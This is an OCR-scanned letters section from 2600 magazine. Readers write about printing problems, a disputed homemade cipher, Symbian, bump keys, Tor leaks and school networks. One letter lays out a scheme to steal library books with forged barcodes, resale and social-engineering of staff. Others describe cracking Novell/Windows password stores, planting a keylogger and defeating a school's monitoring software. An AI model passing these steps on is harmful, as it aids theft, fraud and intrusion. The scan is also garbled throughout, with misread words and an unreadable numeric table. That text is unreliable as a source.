doing so slightly, but it was mainly the black
irom the rear cover and both inside covers thal
was coming ofl on my fingers, making them
sticky anc smudgy and lcaving my fingerprints
where only solid black had been before. Please
fire your new printer or force them to do the
job properly as this is unacceptable. | would
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rather pay a litlle more for a solid cover lhD
does not come ofl on my hands and gets all
over everything, as | reread these back issues
and refer to them often. | hope you can elimi-
nate this problem in time for your next issue.

On another topic, the article on red boxing
seemed a little out of date, as the author kept
referring to SBC when SBC bought out AT&T
months ago and has now dropped the SBC
name allogether (along with much of their
quality control/maintenance and nearly ail
of their customer service). Perhaps the author
missed your “Join Us As We Rise Again” cover
(or perchance it sat on the shelf a while before
you got around to publishing it?

in any event, keep up the good work. Gotta
g0, Futurama’s on.

Guitarmaniax

The ink problem was resolved with the
last issue (24:1). We e hoping the fading you
mentioned was a fluke as we haven’t heard of
that problem. We apologize for any inconve-
nience or dirty hands that came out of this.

Dear 2600:

| appreciate the move 1o a new printer to
keep costs down. However the latest copy |
received has a bit of a problem. The ink on the
spine and back cover doesn'tseemto have been
“sealed” in the same way as the (ront cover.
Whilst it's briefly entertaining to discover the
ink coming off on my fingers (much like news-
papers of old), it quickly bhecomes annoying!

| hope this was just a glitch in the current
run of magazines and will be fixed in future
prints. But aside from that, kecp up the good
work!

Minstrel

Consider it our nod to the newspaper
printers of years gone by. Where would we be
without them?

Dear 2600:

I read thal you changed printers for the
winter issue. I've noticed a few bugs with
the new binding and printing. You may have
already noticed them (oo but the nitpicker in
me is compelled to point them oui.

With the new siiff spine, the magazine
doesn‘t open oul flat like it used to. The page
layoul doesn't scem to take this into account
and the margins are too close to the center
hinding so that parts of words get cut oft. |
had 1o bend the covers back and really crease
the spine to be able to read words close to the
center, In the process of doing this, the ink
on the pages smeared and came off on my
hands,

I really hope you'll be able to work out
these bugs. P've enjoved the magazine for a
long time, and | look (onvard to reading it in
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f!he future.

The margin issue was also sorted out for
the last issue so hopefully this is no longer a
problem either.

Dear 2600:

I just wanted to voice my opinion of the
new printing style of 2600. While the binding
is kinda cool, it makes the magazine quite a bit
harder to read. This is especially the case when
1 try to prop it open in front of my keyboard for
perusal while at work. This is now impossible.

OK, so I'm not really opposed to the entire
new style. The binding is great because it allows
for more content in the magazine itself. The
binding is not great because the text extends
so closely to the spine that it's a real pain to
read any of the words on the extreme right-
hand side of the even pages and the extreme
left-hand side of the odd pages. Ugh!

I's almost like it's still being printed in
staple-style where the magazine easily opens
all the way and allows unobscured access 1o
even the most extremely justified text.

Anyway, I'm nolt really complaining but
instead just hoping to inform you of something
that I've found is causing me to have 1o nearly
destroy my magazine to read all of the text,

I know that the new binding style won't
change and | don't really want it 1o, The maga-
zines will stack much more nicely now. I'm
just hoping that the text can be brought a bit
further from the binding itsell to make it easier
to read.

Thanks for reading and thanks for writing.

mikes

There are indeed positive elements to the
new binding and we hope to be able to take
advantage of as many of them as possible.
Since fixing the problems that admittedly never
should have occurred in the first place we
havent received any specific complaints.

Dear 2600:

| love your publication. I've been a reader
for some years now.

I have one complaint. As perhaps one of
your older readers, | have a very Ertl time
reading your articles due to the size of the print.
Otherwise, you have a great publication.

A Fan

We've heard this complaint since we started
printing in the 1980s. We could print larger
but then we would have to either add a lot of
pages or print less material. It's a precarious
balancing act. We will at the very least commit
lo nol making the type size any smaller,

Dear 2600:
| am a reader of your magazine since

2001 and | love it. My concern is about the
new binding of the magazine. | do not like
it because you cannot fold it, is difficult to
read it when you approach to the binding,
and the last and more important issue is that
the pages tend to take off itself and start it to
fall down. So please, if you can, return to the
old binding, is simple and good. | hape you
understand my poaor English.
Ignacio
Well, we gave it a shot but we're not really
sure what you mean by falling down. We
would certainly like to find out. Fortunately,
we haven’t heard anything similar to this.
Ever.

Dear 2600:

Here is another vote for staples! Just out of
curiosity, what would be the per issue price
increase (at least an estimate) if you guys go
back to stapies? | understand that you would
also have to switch (again) printers.

SiKing

It would be a major hassle to switch again
and we're not convinced that staples are
anything but a personal preference. There
are advantages and disadvantages to every
method and we see a lot of potential with the
current style of binding. Our major concern is
solving the problems mentioned above which
we believe have been addressed and dealt
with.

Response to Articles

Dear 2600:

I would like to bring to your attention
the article “Algorithmic Encryption Without
Math” in 23:4. In case you were just checking
if your readers are asleep (or blind or dead for
that matter), we aren't, thank you very much
(and ignore the rest of this).

Otherwise you wasted eight full pages in
your magazine for some crappy algorithm that
is no better than what some of us invented
back when we were in the fifth grade. The
author (referred to as "he" from now on) can't
even coherently describe the algorithm (try
to follow what he does in the first part and
see if you can implement the algorithm based
on his description). He doesn't tell us against
what his algorithm is safe. (I assume he has
no idea about any classical attacks against
symmetrical cyphers - 1 guess he doesn't
even understand the difference between
PGP for "messages” and his cypher which is
symmetrical.)

What about the ‘thousands of dollars"
we could win for breaking his encryption,
Doesn't this seem suspicious? Where, how,
how much? (If there's a prize associated with
this he could at least tell us how much itis - is
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G $2000 or is it $20D,0007)

He tells us how "the experts” think you
need "higher level mathematics" for "a secure
crypto program.” This is false. You don't need
higher level mathematics for a crypto program
- in fact anybody can probably do:
http://en.wikipedia.org/wiki/CipherSaber

on paper without a computer (and the algo-
rithm is reasonably secure when used with a
good key). There's also:
http://en.wikipedia.org/wiki/Solitaire
w (cipher)

which can be implemented with a deck of
cards and again it is quite secure.

However, "high level mathematics" is
required for cracking even the simplest ciphers.
And if you don't know how to crack any algo-
rithm how can you claim yours is secure (by
the way he doesn't mention against what type
of attacks he's safe and why - he only mentions
how the algorithm is unsafe)?! By participating
in a Usenet newsgroup for seven months?! (By
the way, he fails to mention that this happened
in 1996.) | guess if | stay on IRC for half a year
| can be an astronaut as well!

I'll stop here for now. Take care and greet-
ings from the old Europe.

2a2600

Dear 2600:

Thank you Jor publishing my aricle
"Algorithmic Encryption Without Math." The
following text is my response to "Dave” whose
letter you published in response to the article.

Dave, I'm sorry you didn't read the code
for "Algorithmic Encryption Without Math" as
you would have discovered some things Bruce
Schneier doesn't want you to know. First, the
code is in its 11th year, offering a $10,000 cash
award to any serious organization that can
crack it with an unlimited plaintext attack. In
my two years as moderator of a Dr. Dabh's web
forum, the program survived numerous chal-
lenges. More importantly though, this project
is not about having a slick little program that
demonstrates yet another form of encryption.
It's about ordinary people like you and me
owning the entire process of securing our files
from government or other snooping, and not
having to trust "experts" who make programs
so complex that we can't validate them or
really know that they're secure.

People who have spent a lot of time on
crypto forums know two things for certain.
One, that math-based programs are not guar-
anteed lo be secure, since nobody can prove
mathematically that the algorithms are secure,
and two, that the quantum computers being
developed will easily decrypt their cipher-
text. My algorithm attempts to approach true
randomness by multi-layer shuffling, not as
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you described, but as lotteries and other shuf)
fling systems do.

My method does not use the pseudo-
random array for bit moves, it uses the relative
sizes of elements of that array, which is equiva-
lent to building a large lattice as follows. In this
example, we simplify the lookup table and use
32 numbers only:

B0 50 2y X0, 28, 25, 20, I5. X, 32
2, 3B, 32, 2%, 34 3 30, .3 36, 38
2501, 95 33, 39, 26 R L, A, D 28

The first value determines the group size
(5), and so the first lattice row will contain the
relative sizes of the next five values: 1, 4, 3, 2,
and 5. The second lattice row begins with a
group size of 6, and the relative values are 3,
2,1,6,5, and 4.

You can see that with the current lookup
table implementation, the lattice becomes
very large, Now picture a lattice with a tril-
lion rows of random size each, expanded
to 12 dimensions. The problem is not that a
quantum computer (never mind a conven-
tional computer) can't replicate this lattice
in real time and apply XOR masking to the
ciphertext for all possible permutations of the
text. The problem is that XOR doesn't work on
shuffled text - the bits have to be physically
moved and there is no feasible way (you try it)
to do that on any computer.

Keeping in mind the aforementioned
contest and award, if you still have doubts
about the security of this algorithm, try to
understand my fundamental design - to
approach true randomness by shuffling in
many separate passes that have no relationship
to each other. The bils have to be physically
moved, and there is no math shoricut for that
process. If it turns out that a quantum computer
can calculate the final reshuffled bit positions
using something like the lattice [ described, it
still has two formidable tasks to perform that
are not assured in any scenario. The quantum
computer still has to move the bits for each
test and perform lexical analysis of the result
as well because there is no "lest" decryption
mask that can be applied to shuffled bits.

dthorn

Dear 2600:

What's the deal with Byron Bussey's
"exploit" (23:4) which l)asicarly involves a
hypothetical scheme where someone could
steal expensive books from a fibrary by demag-
netizing two at a time? | can think of at least
two other better ways of doing it.

1) Use a tinfoil-lined bag or simply remove
the magnetic tag. This has been done for a long
time and is also known as shoplifting. This is
not technically an exploit; even dumb people
can and will do it. Although as dumb as it
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is, it's smarter than Byron's scheme - at least
there's less chance of getting caught than by
blatantly stacking two books at a time onto the
reader.

2) Create your own bar code using software
like "Bar Code Pro" found on P2P sites. Use
the code from cheap books like paperback
novels. When you go to scan your books, the
automated reader will scan the new codes you
have cleverly taped over the old ones. Sell the
books, report the books as lost, and dutifully
pay your fine. Make sure to stamp the books
withdrawn so buyers won't suspect they've
been stolen.

For added security, get a new library card.
Sounds tough? If your library card has a bar
code on the back, use your software to create
a new account number. If it uses a magstripe
your job will be harder but not impossible. In
Byron's article he described a system where
patrons had to enter a four digit code based on
their phone number. You'll have to social engi-
neer administration over the phone - tell them
you forgot your code and no longer use the
phone number in question. Have them enter
a new number. If you do this, you won't even
have to pay your fine!

Which is not to say that | advocate theft
from libraries. People who steal books are the
lowest of the low. Libraries are wonderful insti-
tutions whose mission is to spread knowledge
while protecting our privacy.

1]

Theres a big difference between advo-
cating theft and learning how a system works
and how it could be compromised. Your ideas
along with those of the original author have
probably contributed towards the eventual
design of a better system. There are so many
people who dont understand the hacker
mentality and who have a great deal of diffi-
culty with this concept. We hope that what’s in
our pages helps to define the difference.

Dear 2600:

| read a blurb in a recent issue about
defeating a library self-checkout. It's old news.
I've been there, done that. However, one small
correction, at least in my hometown: If you do
run more than one book through the machine
ata time, it should demagnetize all of them and
thus they would naot trip an alarm. Mind you,
it is not foolproof - it doesn't always get them
but it usually does, and of course the "security”
gates are notorious for tripping false alarms
50 | doubt they'd have much of a case against
you. Which reminds me, after the harassment
| received last year about a false allegation at
a record store (yeah, the term shows my age)
from some item | purchased (seriously, I paid
for it) at another store that tripped their alarm,
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| wonder if you ever did an article about these
annoying intrusive "security" sensors. Thanks.
Usgg
We would certainly be extremely interested
in learning all about them.

Dear 2600:

Howdy! This is the first time | have written
to 2600 and only being a reader for a little over
a year and considering the technical nature of
many of your articles, | certainly never thought
| would actually be in a semi-knowledgeable
position to do so.

After reading Toby Zimmerer's piece about
security issues with mobile devices in 23:4
1 thought | would. Firstly, the facts of Toby's
article are generally fine, but 1 do think he
painted a somewhat alarmist picture.

| have been using various mobile devices for
a number of years: PalmOS, WinCE, Symbian,
and currently Windows Mobile 5. As a picky
point, Windows was making a consumer OS
for mobile devices well before the iPag, the
first of which tried and failed to emulate the
Windows 95/98 interface.

Toby describes issues with Bluetooth hacks
or snarfing, as it became known. He describes
an example at an Interop show where 60 open
devices were found. The problem with this as
a hack is that while the phone does broadcast,
the other user is required to authorize any
sending of files by means of either a yes/no
entry or by firstly pairing the device with the
sender. Both require the user to consent.

There was a larger issue with a few Sony
Ericsson and Nokia phones of a particular
ROM revision that required less user involve-
ment, but this was a couple of years ago, and
from that the risk is pretty small. Consider how
fast the mobile market operates to see that a
security threat to a phone three or four years
old is a very small threat indeed.

You are able to send messages to an open
Bluetooth device, and indeed much fun can
be had by sending messages to people on the
bus and watching them as they look around
wondering who sent it (“hello sexy with the
glasses and big nose!”). But again this proximi:r
is the issue as far as a real threat is concerned.
Incidentally this is generally referred fo as
“Bluejacking.” And we really have to acknowl-
edge that many people do actually switch off
Bluetooth as it drains the battery.

The other thing that | felt could really
have done with a fuller description was
regarding how the SMS/Bluetooth payloads
actually worked from the recipient’s stand-
point. For example the CommWarrior virus,
being a SIS file, would mean that it would
only effect Symbian phones and while it may
SMS everyone in your phone book, it's not
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{pre;lding itself in the traditional way. There is
end user damage, but limited impact as far as
user base is concerned. Very limited.

The Skulls trojan mentioned came from
downloading warez and would only disable
the “smartphone type” functions. Much like
OneHop and other variants - Internet included
- the phone itself would still work, but lacking
Internet wouldn't get oul of the handset.
Viruses using Bluetooth as the method of
Iransmission, again, largely would require user
intervention.

Now we do know that people are idiots,
or, erm unskilled in the hardware they own,
but opening an attachment carried by Blue-
tlooth would mean opening a file thal you
know somebody has sent you because they
are next lo you or being daft enough 10 open
an attachment sent by a stranger on a bus or
frain. Yes, some would do it, but a citywide
virus outhreak?

Toby closes by mentioning that anti-viral
soltware is available. Indeed it is and has been
a non-seller for a few years now and, to be
honest, I think it will continue to be so.

The biggest virus threat contained within
mobile devices has and always will be their
use 1o access business network resources. As
stand-alone devices there are just not enough
in the same vicinity for it to be a significant
problem. It would make as much sense buying
anti-virus soflware for a mobile device as it
would for a Mac. Like the Mag, not only are
there very few viruses out there but the small
yser base makes an “outbreak” unlikely at this
paint. Toby does mention the future being of
“always connected” devices, and with more
and more advanced browsers with Java capa-
bilities, indced this is a likely threat in the next
couple of years,

Al this point? The potential is there, but
largely it 15 just thal, potential. Current mobile
viruses are akin to the old ones that relied on
floppics or “sneakernel” to spread from one
machine o another. In a sense it’s the late 80s
- time will move on, but we are not there yet.

Wgoodf

Dear 2600:

Longtime reader, newish lifetime subscriber.
Just writing to clear up a bit of misinformation
from the article "Mobiles Devices - Current
and Future Security Threats” by Toby Zimmerer
from 23:4.

Inthe article he stated that the mobile device
smartphone QS "Symbian" is a lightweight
distribution of Linux. This is absolutely wrong.
Symbian is the current version of the EPOC
0OS, developed by Psion Lid. for their range of
mobile devices (such as the Series 5mx, Revo,
and Series 7), which they sold 1o the Symbian
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group {a cooperation of companies such as\
Nokia, Sony Ericsson, and Motorola) who used

it as the base for their own smartphone OS’s.

Symbian itsell is nol a useable OS, much like

GNU/Linux is not directly uscable without all

the userspace applications that make up 90

percent of a distribution; Symbian provides

the kernel and framework from which 1o build

a fully rounded mobile device/smartphone

distribution.

The two main  distributions  based  on
Symbian are Series 60 and UIQ, by Nokia
and Sony Ericsson respectively. An honorable
mention also goes to Series 90, also by Nokia,
which uses more of the user interface from the
original Psion EPOC devices, due (o its use on
"paimtop" devices such as the Nokia Commu-
nicator series of hybrid mobile phone/palmiop
computers,

Another honorable mention gocs to the
Nokia 770 and N800 Internct Tablet come
palmtop computers, which actually do run
a Debian Linux based distribution called
Maemo (maemo.org), but run a ported and
updated version of the Psion EPOC user inter-
face, dubbed Hildon.

For anyone interested in the wide range of
mobhile device OS's, and of course the many
issues surrounding them, then the Internet of
course holds mucho info as Symbian in itself
presents many security problems compared
with Windows Mobile and mobile Linux distri-
butions, due to an object framework that has
been built up mainly of hacks upon hacks, and
an obfuscated low level sockels layer.

Wesley

Dear 2600:

Before | attempted to construct my own
skeleton key (24:1), 1 thought | would do the
math on my Tl 30 X, a scientific calculator. 349
=1,953,125. However 945 = 59,049, Perhaps
vour cditor should invest $15 in a scientific
calculator before the next pubiication. Other
than 1hat, | love your magazine. Keep up the
good work.

Short Blonde

Dear 2600:

Many thanks for your superh magazine,
which | have read for decades as a lapsed math-
ematician and ex-programmer. As a locksmith
and hardware supplier, | read “Hacking Your
Own Front Door” (24:1) with interest. | have
some comments, corrections, and complaints,

The author (Cliff) has limited but successful
experience in key humping and he has writien
an illuminating but factually hazy account of
the technique. To his credit, his description
might allow a reader to perform the opening
technique, as well as to understand how a
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( pin tumbler cylinder works (in really general
terms), but his cheery rendition fails to indi-
cate the many possible pitfalls. In addition, his
terminology is confusing and fanciful.

There are many websites that can provide
the industry standard terms for lock parts, so
we all know what the hell we're referring to.
Cliff makes up a whole lot of terms (in fact,
his entire second paragraph is meaningless)
when he could simply have written, “Pin
tumbler cylinders are used in many types of
locks, so you should learn this technique.”
Clifi’s references solely to Yale and Chubb
indicate a British bias. Pin tumbler cylinders
are much more common in the U.S. than in
Great Britain, with many more manufacturers
and keyways in use. Each of these require their
own bump key to enter the particular keyway
VOU COME ACTOSS.

The tool companies that make bump keys
also make very precise hammers, rather than
using the back of a screwdriver. I've had
success with the back of a screwdriver myself,
so maybe the hammers are over the top, but if
you do this for a living you buy the best tools
you can for predictable results.

The making of a bump key requires a cerlain
amount of precision. Spacing and depths are
critical. Cliff's description is vague at best and
his declaration that cylinder pins have “usually
nine positions along their length” is just not
the case. Some depth systems use 0-9 (ten
depths), some use 1-6, and there are a few
athers, but usually you can’t cut a key with
the highest cut next to the lowest due to the
required angle of the cul, so all combinations
are not physically possible. So his “9/5” figure
(printed incorrectly as 549} is a bit fanciful. A
five-pin cylinder generally has about 7,000
possible keys. As for bump keys, none of that
matters at all as the bump key is cut to the
lowest officially-allowed cut in each space
regardless of the possible number of other,
higher, keys. In addition, generally the bump
key gets its shoulder filed back maybe 0.010”
so it can be tapped into the cylinder a bit
further than where the pins are seated over the
key cuts and the key normally sits, Cut angles
and bottom widths can vary too, depending on
manufacturer and keyway.

Bumping a cylinder open is nol the same
as having a master key. I's a fine-honed tech-
nique that works when it works, How would
you like to have to perform that delicate oper-
ation every time you came home? It's fine to
publicize their dangers (and possibilities) but
let’s not consider bump keys a “master key”
to every Jock in the world, even just the pin-
tumbler ones they can work on. They're a
danger for those who think they're protected,
and a useful tool for those who wish access to
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poorly-protected areas, but they're no mag%
wand. They take work, talent, and a lot of prac-
tice to use successfully.

Finally, the solution to keeping crooks from
“bumping” your locks open is to buy high-
security cylinders. Medeco, Abloy, Schlage
Primus, Corbin Russwin Pyramid, and a bunch
more cant be bumped. They say Mul-T-Lack
standard cylinders can be and | understand the
theory but | can’t testify to it. Most thieves just
try to break or pry open your door. If you live
in an apartment, physically protect your front
door, secondary door (if you have one), and fire
escape window. If you live in a house, do all
that and get an alarm system. And put a high-
security cylinder on at least the one strongest
lock on each door. Key ‘em all alike (when did
you ever lose just one key?) unless you want to
restrict access to different people,

Clifi did a fine job as far as he went, and it's
great that he aired this currently hot topic in
2600. But it’s important to get the facts straight.
1 have followed you guys from phone issues
into electronics, software, and electronic hard-
ware, bul your physical security articles have
stumbled a bit. They are often just not up to
your standards. Put out potential articles for
review in areas you don’t know, maybe.

For more on this topic, Google Matt Blaze,
“bump keys®, National Locksmith Magazine
and Locksmith Ledger, then follow their links
as you wish. This stuff aint secret - isn’t that
amazing?

NYC Locksmith

Dear 2600:

| was just reading 23:4 and felt the need
to respond to the article “Fun with Novell”
by Cronicl3. To recap: Novell stores its pass-
words quite securely but the easiest way for
it to interact with XP is to create a local user
(with the same name and password as the
Novell one) and login with that one. If you
have access to the computer you can get the
usernames and encrypted passwords off the
computer and run a password cracker on it to
get the plaintext.

Now from the Novell administrator’s point
of view there is a very easy way to minimize
the damage this causes and it's called “vola-
tile users.” This means that the user created by
Novell on login is deleted by Novell on logout.
If this is set up then the only usernames and
passwords you will get will be for those people
who did not log out properly for one reason
or another. There are a few obscure instances
where using volatile users breaks something
that may be deemed important so that may be
the case for the school in the article (or it could
be a case of dumb administrators as the author
says).
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But of course there is also the local admin-
istrator password stored and retrieved in the
same way. If you get this you don't automati-
cally have any extra rights on the Novell side
of things (as anyone with any sense will make
this password different from the important
Novell ones) but you can install a key logger
elc. to get the usernames and passwords of
anyone who logs in after you.

This is a lot of effort to go to just to get the
administrator password for the local machine
if you don't have to. If you have enough access
to get the SAM (where the passwords are
stored) you probably also have enough access
to just blank the administrator password using
a boot disk if you don't want to wait for the
password to be decrypted and you don't think
the password change will detected.

Again the administrators can minimize the
impact of this by not allowing the “Workstation
Only” tickbox to appear on the Novell login
page meaning that you must login to Novell. If
this is the case then it's probably not worth the
cifort of getting the administrator password o
even hlanking it as you can't use it.

Getting around this is harder but not
impossible. With a well designed WindowsPE,
HarlPE, or Linux boot €D you can read and
write files, edil the registry, etc. 10 your heart's
content which, if all else lails, allows you
lor manually install your software one file or
registry entry at a time,

As always, il the attacker has physical
acvess o the machine then by definition it's
not secure. | would think however that this
sots the bar high enough (particularly if the
machines are reimaged twice a year as in
the article) that its sufficient security from the
network administrator’s point of view and from
the atlacker's point of view it's a lot of work for
very little gain. But still it's enough of a chal-
lenge that the hacker will attempt it just to see
il they can do it

On the subject of why the administra-
tors don't give access o nwsend for intranet
instant messaging it may be that they tried it a
tlecade ago (as | did) and decided 1o never use
it apgain. Al that time it had a relatively simple
GUI interface but was very poorly designed. ft
may have changed since then but as | haven't
used it after o brief dabble a decade ago 1'll
tlescribe how it was.

It was quite simple: a scrollable list box
of wsers and groups you highlighted to send
the message to, below that a place to put your
maessage, and 1o the right of that a send button.
Can't get much simpler, right? Unfortunately
you had to choose the users to send it to after
you wrote your message. Il you selected them
first it would deselect them when you started
writing your message and if you pressed the
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send button with no users selecied it sent it mjl\
to all users!

You can imagine that after a few instances
with everyone being sent messages (inter-
rupting classes and tests in schools, elc.), the
network admins - who know how poiniless
it is lrying to train users, particularly the tran-
sient ones like students - decided that it was
easier not to use it and, if the functionality was
needed, to use a real IM client.

Pat

Response to Letters

Dear 2600:

I'd like to comment on Breto's information
about the Australian electoral system (24:1).
The volers are indeed not asked for any form
of identification, and that's for a good reason:
there is no compulsory 1D in Australia. And the
right 1o vote to help elect Australia's govern-
ments is not only an undeniable privilege
but also a duty. That is, those who don't vote
without a good reason (like being overseas) are
fined,

That is why vote theft doesn't happen.
[f someone turns up at the polling station to
vote under an assumed identity, there are all
chances the penuine voter will also cast a vote,
The collision will result in the fraudulent vote
heing discarded.

There are more details to that. Butr appar-
ently the system with checks and balances
and without compulsary citizen 1D is entirely
possible.

S. Pidgorny

Dear 2600:

I read the letler by Marxc2001 in 23:4
about the vulnerability of Tesco sell service
checkouts requiring no authentication with
interest as | had already noted this vulner-
ability myself.

I thought you might like to know that |
used one myself yesterday for the first time in
some weeks and discovered it had now been
equipped with PIN input. So that weakness at
least has been closed.

Hennamono

Dear 2600:

In response 1o A, Saboteur's letter (24:1)
about techniques  in concealing  online
browsing habits and sending email anony-
mously, | think all your readers should under-
stand that there are ways that the TOR system
can be circumvented. A while back | wrole
an article that was published in 2600 about
using TOR. After that article 1 began to wonder
if there were ways 1o expose someone's frue
IP even if they were using TOR. The answer is
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yes, there are ways. If A, Saboteur visited a site,
say a website run by the FBI, and on that site
Saboteur's browser downloaded a specially
crafted Java applet, that Java applel can bypass
Saboteur's TOR connection, thereby exposing
the real IP address Saboteur is using to the
FBI's web server. There are other ways as well
and | invite your readers to read more at
http://uk.geocities.com/osinl941/
wmexposingtor.html.

To sum up, to make browser/email submis-
sions more private, you should consider these
tips:

psl‘ Don't use a Java-enabled browser or
disable Java while using TOR.

2. Set all proxy protocols (ftp, https, etc.) to
the same proxy setling as http, even if you're
not going to use them.

3. Be paranoid of website links that may
have been emailed to you, especially if you
are using Windows.

OSIN OSIN

Injustice

Dear 2600:

Hello, first off | just wanted to say | love
your mag. Keep up the good work and | love
listening to Off The Wall. What an excellent
program. | came across something interesting
at my job. Work was slow so | decided to take
a little peek at the Hope Number 6 audio files
so | would have something interesting to listen
to on this boring day at work. When | went to
the HOPE Number 6 website it was blocked
saying it was “lllegal or Questionable." But
that’s not what threw me off. What confused
me was that a warez site was not blocked.
How is a warez site not "illegal or question-
able" but the HOPE site is? It really beats me.
Just goes to show you how these companies
are blocking the good websites but allowing
the wrong,.

XiverOm

This is always going to be a problem if
people rely on settings determined by other
people who often have little idea what’s going
on. There have been many instances where
nobody seems to know what to do in order
to change the defaults which, for whatever
reason, often include us. The flipside to this
is that it becomes as much a mystery when
trying to add sites to the list. In the end, local
and intelligent control is essential if systems
are going to use blocking software in the first
place.

Dear 2600:

My local libary has turned into a nazi dicta-
torship. They just put on a blocker program
called WebBlocker. I'm unable to download
from a free gaming site. It gives an error that

the connection has reset. | do not think 1
router has done this but rather the blocm
program. Are there any easy hacks or
tools for someone who has no understanding
of code of any kind?

Also, is there a group out there who hack
in the spirit of common good or in the name
of our country the USA? | mean are there or
have you heard of anyone that has had hacked
bank accounts, servers, websites, and such in
the Middle East that support terrorist groups or
dictatorships? | would think that there wnur;he
people out there. I'm just wondering because |
this would be a great story 1o tell.

Barron

S0 on the one hand you're upset that
someone has decided to control your access
based on who and where you are while on the
other hand you're interested in learning how to
disrupt the activities of athers on the net based
on who you believe they are? How do you
propose concluding whether or not someone
deserves to be taken off the net or otherwise |
attacked? Your opinion? Someone else’s? What
your government tells you? This is not what
hacking is about. What you're interested in Is
doing the bidding of one group of people in
order to defeat another. This is what the mili-
tary does. And every time something conten-
tious happens in the world, members of our
military try to get hackers involved in the fight
for their version of justice, By even considering
such requests as legitimate, we tarnish what
hackers have always stood for which is free
and open access to thoughts, ideas, and tech-
nology. People are free to do what they want
on their own or as part of some other orga-
nization but please don’t assume hackers are
about to become another branch of anyone’s
military.

Dear 2600:

I just wanted to say how horrible | think
the U.S. Postal Service is treating you. Here
you shell out serious money (not to mention
adding fat profits for the bastards) and the
“gratitude” you get for being a good customer
is this treatment where they "lose” your issues
and nobody will give you an answer as to
where they are or what happened to them.
(Do we really believe that they don't know this
with all the computers and tracking codes they
have?) So much for "warranty" or "customer
satisiaction.” Obviously unheard words in the
postal "service.” All we get are price increases
and void warranties. (How long would private
companies stay in business with this kind of
“policy?”)

You should be able to sue them and get your
money back for this since you did not receive
the airmail delivery you paid for. Sadly | might
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Gdd that I get about the same treatment here in
Norway from our postal "service." Often pack-
ages are mislaid, undelivered, lost, or insanely
delayed for no reason other than pure harass-
ment of customers it seems. | am not the only
customer ftreated this way so it's not just the
LLS. that wants to crap out with postal prob-
fems. This kind of harassment "service" scems
10 be the norm for many such entities.

Kristian

Fortunately our last issue went out without

problems, domestic or overseas. We're thankful

to those people within the postal system who

took an interest when this major foul up came

to their attention. We hope this puts an end to
these problems.

Observations

Dear 2600:

I am writing you today to share an interesling
experiment | did involving SMS messaging, |
had an unused Sierra Wireless 555 card that |
used to use for data. | was able to convince my
wireless carrier lo give me the access code so
that | could get into the setup menu. | changed
the phone number associated with the Sierra
Wireless 555 card to match the phone number
ol my regular cell phone. | then had a friend
send me an SMS message and it appeared on
both my subscribed cell phone and this unsub-
scribed Sierra Wireless card. The network [ did
this on is a 1RXX CDMA2000 provider.

FeTuS in MN

Dear 2600:

I just purchased the latest spring issue of
2600. The total of the mag plus tax came to
$6.66, on Good Friday no less. | included a
scan of the sales receipt.

Randall

Dear 2600:

I got a nice chuckle when the $6.25 cover
price and $0.41 sales tax on your zine came
out to $6.66. Mark of the beast, baby. Roar.

ThriLL
Orlando, Florida

Apparently this is happening in a number
of states that charge tax on publications. Ours
isn't one of them so we honestly had no idea.
Honestly.

Dear 2600:

Is it just me or are high school computer
technicians less and less competent as fime
goes an? | just graduated, class of 06, and |
made it my personal mission to get by every
firewall and block that they had up. Why is
it that | could overcome these trained techni-
cians and all of the expensive software they ran
\withnut even a graduate level understanding

of computers? Now don't gel me wrong, | no\ﬁ
know my way around a computer pretty well,
but then | only had a rudimentary knowledge
of computers outside of using the Internet and
MS Ward.

The computers at my high school were
networked with Novell software and were
protected and monitored with a program called
Net Support Plus (or Pro, 1 can't remember),
which my computer programming teacher (who
was terrible) so fondly referred to as his "God
Software." For those who are unfamiliar with
the program, its primary function is to serve as
kind of a "security camera" to the computers
attached to the network. It basically lets you
see an individual's desktop, monitor what they
are doing/accessing, and take control of their
mouse/keyboard. All in all it's a pain in the
neck for any self-respecting slacker such as
myself who had nothing better 1o do in class
hut search the latest YouTube video or find a
review on the latest Xbox game. I thought it
was important but my teacher didn't sce eye
to eye and often took over my computer and
closed me out of whatever | was doing, just to
prove a point.

Well, | got tired of that happening so |
started looking for ways | could just override
that program. Il had heen my experience in the
past that every program had a back door and |
was sure that this one was no exception. So |
started going through the running processes in
Task Manager and, just by trial and error, found
the process that ran NSP on my computer.
After terminating the process, however, all
the administrator had to do was reboot the
program and | was under lock again.

The solulion came to me while | was at
home that night. | recently installed a game
on my computer and when | was trying to
play it online Windows Firewall had a hissy
fit and asked me if | wanted to allow it access.
I then had a theory to go on and the next day
at school | tried it. Sure enough, the morons
in the tech department didn't lock down
Windows Firewall so all that | had to do was
disallow all exceptions and no outside source
could access my computer.

To cut a long story short, the next thing
I knew | had the computer teacher recom-
mending me for a job in the tech department.
1, of course, declined the offer but it kind of
made me wonder why Lhey pay these people
good money to do jobs that the teenagers they
are Irying to control could do better. | mean, it
was only a matter of time before they started
blocking certain websites and | was getting
around them with proxy servers and then
had other students asking me how they could
access MySpace and whatnot from the school.
| think they either need to hire better techni-
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Gans or just give up altogether. [t would have
made my life that much easier.

Thanks for listening to my rant.

D] Walker

Sounds like they at least tried to hire
someone better. Maybe part of the problem is
finding competent people who actually want
to work for them.

Dear 2600:

I found this by accident: 1-866-499-7878. |
was trying to dial Cingular/AT&T (1-866-499-
7888). Anyone know what it is?

justin

We're not sure if this is the same thing as
when you dialed it but we heard a very verbose
error message which gave all sorts of info in
addition to the number dialed, such as “server
media,” “card,” “port,” and “channel.” Why
anyone needs all of this info is definitely fodder
for discussion.

Dear 2600:

I am not a cybergeek, nerd, hacker, or
genius. If anything, | am a hack, no more or
less.

| grew up watching my dad, a science
writer, write freelance articles and an entire
book on a Smith Corona Selectric 1ll. He then
used one of the first dedicated word proces-
sors (was it a KayPro?) with an 8k disk drive,
a black on blue nine inch CRT, and Diablo
printwheel-based printer, then a NorthStar CP/
M machine, and from there consumer-based
PC models. His passion for gadgets wasn't lost
on me, though | still keep a fountain pen and
small notebook on me at all times.

My exposure to programming was brief,
Though | was one of three students selected for
experimental computer programming in 1979
- using a Texas Instruments TI-99 4/A to learn
LOGO and BASIC - | am today basicaily a PC-
then-Mac end-user. | never really got inside of
the machine.

That said, more than half of this magazine
goes right over my head. 1 occasionally read and
don’t understand the programming language
or engineering diagrams that enhance and/or
dismantle systems for one reason or another.
But | like what they point to: greater potential
for systems and inherently the indefatigable
nature of human curiosity and intellect.

What | learn from 2600 is invaluable:
Systems are fallible and weaknesses need to be
exposed in order for the system to improve.

It's inspiring when the articles take on a John
Henry style story of Human vs. The Inhuman,
wherein The Hacker actively engages a system
developed at a lower level and invites it to a
higher level of function by describing/admit-
